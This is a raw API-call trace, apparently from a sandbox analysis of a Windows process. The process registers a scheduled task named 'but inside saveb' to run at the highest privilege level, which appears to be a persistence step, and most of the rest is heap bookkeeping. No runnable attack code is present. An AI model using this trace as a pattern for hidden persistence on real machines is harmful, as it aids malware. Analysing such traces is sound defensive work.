IUnknown:Release (This=0x1463d0) returned 0x1 [0159.013] GetLocalTime (in: lpSystemTime=0x1dced8 | out: lpSystemTime=0x1dced8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x12, wMilliseconds=0xfa)) [0159.013] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0159.013] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0159.013] GetUserNameW (in: lpBuffer=0x1dcf00, pcbBuffer=0x1dcee8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1dcee8) returned 1 [0159.014] ITaskDefinition:get_RegistrationInfo (in: This=0x147d60, ppRegistrationInfo=0x1dced0 | out: ppRegistrationInfo=0x1dced0*=0x147ea0) returned 0x0 [0159.014] IRegistrationInfo:put_Author (This=0x147ea0, Author="") returned 0x0 [0159.014] _vsnwprintf (in: _Buffer=0x1dcf00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1dce98 | out: _Buffer="2022-08-06T02:19:18") returned 19 [0159.014] IRegistrationInfo:put_Date (This=0x147ea0, Date="") returned 0x0 [0159.014] IUnknown:Release (This=0x147ea0) returned 0x1 [0159.014] malloc (_Size=0x18) returned 0x147cc0 [0159.015] free (_Block=0x147cc0) [0159.015] lstrlenW (lpString="") returned 0 [0159.015] ITaskDefinition:get_Principal (in: This=0x147d60, ppPrincipal=0x1dd0f0 | out: ppPrincipal=0x1dd0f0*=0x146540) returned 0x0 [0159.015] IPrincipal:put_RunLevel (This=0x146540, RunLevel=1) returned 0x0 [0159.015] IUnknown:Release (This=0x146540) returned 0x1 [0159.015] malloc (_Size=0x18) returned 0x147cc0 [0159.015] ITaskFolder:RegisterTaskDefinition (in: This=0x147d10, Path="but inside saveb", pDefinition=0x147d60, flags=6, UserId=0x1dd170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dd1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1df080, varVal2=0xfe), LogonType=3, sddl=0x1dd190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1dd090 | out: ppTask=0x1dd090*=0x1468e0) returned 0x0 [0159.313] free (_Block=0x147cc0) [0159.313] _memicmp (_Buf1=0x2fbad0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.313] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2fd2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0159.313] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0159.313] GetProcessHeap () returned 0x2e0000 [0159.313] GetProcessHeap () returned 0x2e0000 [0159.313] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd600) returned 1 [0159.313] GetProcessHeap () returned 0x2e0000 [0159.313] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd600) returned 0xc [0159.313] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd600 | out: hHeap=0x2e0000) returned 1 [0159.313] GetProcessHeap () returned 0x2e0000 [0159.313] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x82) returned 0x319cc0 [0159.314] _vsnwprintf (in: _Buffer=0x1dd7d0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1dd038 | out: _Buffer="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0159.314] _fileno (_File=0x7fefed02ab0) returned -2 [0159.314] _errno () returned 0x144bb0 [0159.314] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0159.314] SetLastError (dwErrCode=0x6) [0159.314] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0159.314] GetConsoleOutputCP () returned 0x0 [0159.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0159.314] GetConsoleOutputCP () returned 0x0 [0159.314] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0159.314] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0159.314] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0159.314] IUnknown:Release (This=0x1468e0) returned 0x0 [0159.314] TaskScheduler:IUnknown:Release (This=0x147d60) returned 0x0 [0159.314] TaskScheduler:IUnknown:Release (This=0x147d10) returned 0x0 [0159.314] TaskScheduler:IUnknown:Release (This=0x147ae0) returned 0x1 [0159.314] lstrlenW (lpString="") returned 0 [0159.315] lstrlenW (lpString="6") returned 1 [0159.315] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0159.315] GetProcessHeap () returned 0x2e0000 [0159.315] GetProcessHeap () returned 0x2e0000 [0159.315] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc400) returned 1 [0159.315] GetProcessHeap () returned 0x2e0000 [0159.315] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc400) returned 0x1fc [0159.315] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc400 | out: hHeap=0x2e0000) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9d0) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb9d0) returned 0x4 [0159.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9d0 | out: hHeap=0x2e0000) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd520) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd520) returned 0x16 [0159.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd520 | out: hHeap=0x2e0000) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd500) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd500) returned 0x18 [0159.316] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd500 | out: hHeap=0x2e0000) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fce20) returned 1 [0159.316] GetProcessHeap () returned 0x2e0000 [0159.316] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fce20) returned 0x20 [0159.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fce20 | out: hHeap=0x2e0000) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc030) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc030) returned 0xa0 [0159.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc030 | out: hHeap=0x2e0000) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbab0) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbab0) returned 0x18 [0159.317] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbab0 | out: hHeap=0x2e0000) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb50) returned 1 [0159.317] GetProcessHeap () returned 0x2e0000 [0159.317] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcb50) returned 0x20 [0159.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb50 | out: hHeap=0x2e0000) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc290) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc290) returned 0x64 [0159.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc290 | out: hHeap=0x2e0000) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd540) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd540) returned 0x18 [0159.318] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd540 | out: hHeap=0x2e0000) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb20) returned 1 [0159.318] GetProcessHeap () returned 0x2e0000 [0159.318] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcb20) returned 0x20 [0159.319] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb20 | out: hHeap=0x2e0000) returned 1 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc390) returned 1 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc390) returned 0x66 [0159.319] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc390 | out: hHeap=0x2e0000) returned 1 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc370) returned 1 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc370) returned 0x18 [0159.319] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc370 | out: hHeap=0x2e0000) returned 1 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.319] GetProcessHeap () returned 0x2e0000 [0159.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcaf0) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcaf0) returned 0x20 [0159.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcaf0 | out: hHeap=0x2e0000) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc350) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc350) returned 0xe [0159.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc350 | out: hHeap=0x2e0000) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc330) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc330) returned 0x18 [0159.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc330 | out: hHeap=0x2e0000) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5d80) returned 1 [0159.320] GetProcessHeap () returned 0x2e0000 [0159.320] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5d80) returned 0x20 [0159.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5d80 | out: hHeap=0x2e0000) returned 1 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbc30) returned 1 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbc30) returned 0x208 [0159.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbc30 | out: hHeap=0x2e0000) returned 1 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba90) returned 1 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fba90) returned 0x18 [0159.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba90 | out: hHeap=0x2e0000) returned 1 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.321] GetProcessHeap () returned 0x2e0000 [0159.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c90) returned 1 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5c90) returned 0x20 [0159.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c90 | out: hHeap=0x2e0000) returned 1 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd2c0) returned 1 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd2c0) returned 0x200 [0159.322] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd2c0 | out: hHeap=0x2e0000) returned 1 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.322] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbad0) returned 1 [0159.322] GetProcessHeap () returned 0x2e0000 [0159.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fbad0) returned 0x18 [0159.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fbad0 | out: hHeap=0x2e0000) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c00) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5c00) returned 0x20 [0159.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c00 | out: hHeap=0x2e0000) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc240) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc240) returned 0x14 [0159.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc240 | out: hHeap=0x2e0000) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc220) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc220) returned 0x18 [0159.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc220 | out: hHeap=0x2e0000) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b40) returned 1 [0159.323] GetProcessHeap () returned 0x2e0000 [0159.323] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b40) returned 0x20 [0159.324] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b40 | out: hHeap=0x2e0000) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc260) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc260) returned 0x16 [0159.324] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc260 | out: hHeap=0x2e0000) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc1e0) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fc1e0) returned 0x18 [0159.324] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fc1e0 | out: hHeap=0x2e0000) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b10) returned 1 [0159.324] GetProcessHeap () returned 0x2e0000 [0159.324] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b10) returned 0x20 [0159.324] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b10 | out: hHeap=0x2e0000) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba10) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fba10) returned 0x2 [0159.325] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba10 | out: hHeap=0x2e0000) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5960) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5960) returned 0x20 [0159.325] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5960 | out: hHeap=0x2e0000) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5990) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5990) returned 0x20 [0159.325] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5990 | out: hHeap=0x2e0000) returned 1 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.325] GetProcessHeap () returned 0x2e0000 [0159.326] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59c0) returned 1 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f59c0) returned 0x20 [0159.326] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59c0 | out: hHeap=0x2e0000) returned 1 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59f0) returned 1 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f59f0) returned 0x20 [0159.326] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f59f0 | out: hHeap=0x2e0000) returned 1 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb80) returned 1 [0159.326] GetProcessHeap () returned 0x2e0000 [0159.326] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcb80) returned 0x20 [0159.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcb80 | out: hHeap=0x2e0000) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd640) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd640) returned 0xa [0159.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd640 | out: hHeap=0x2e0000) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcbb0) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcbb0) returned 0x20 [0159.327] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcbb0 | out: hHeap=0x2e0000) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7a80) returned 1 [0159.327] GetProcessHeap () returned 0x2e0000 [0159.327] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7a80) returned 0x30 [0159.328] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7a80 | out: hHeap=0x2e0000) returned 1 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcbe0) returned 1 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcbe0) returned 0x20 [0159.328] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcbe0 | out: hHeap=0x2e0000) returned 1 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7ac0) returned 1 [0159.328] GetProcessHeap () returned 0x2e0000 [0159.328] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7ac0) returned 0x30 [0159.329] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7ac0 | out: hHeap=0x2e0000) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdf0) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcdf0) returned 0x20 [0159.329] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdf0 | out: hHeap=0x2e0000) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd560) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd560) returned 0x10 [0159.329] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd560 | out: hHeap=0x2e0000) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.329] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdc0) returned 1 [0159.329] GetProcessHeap () returned 0x2e0000 [0159.330] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcdc0) returned 0x20 [0159.330] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcdc0 | out: hHeap=0x2e0000) returned 1 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd580) returned 1 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd580) returned 0x10 [0159.330] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd580 | out: hHeap=0x2e0000) returned 1 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd90) returned 1 [0159.330] GetProcessHeap () returned 0x2e0000 [0159.330] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd90) returned 0x20 [0159.331] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd90 | out: hHeap=0x2e0000) returned 1 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5a0) returned 1 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd5a0) returned 0xe [0159.331] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5a0 | out: hHeap=0x2e0000) returned 1 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd60) returned 1 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] RtlSizeHeap (HeapHandle=0x2e0000, 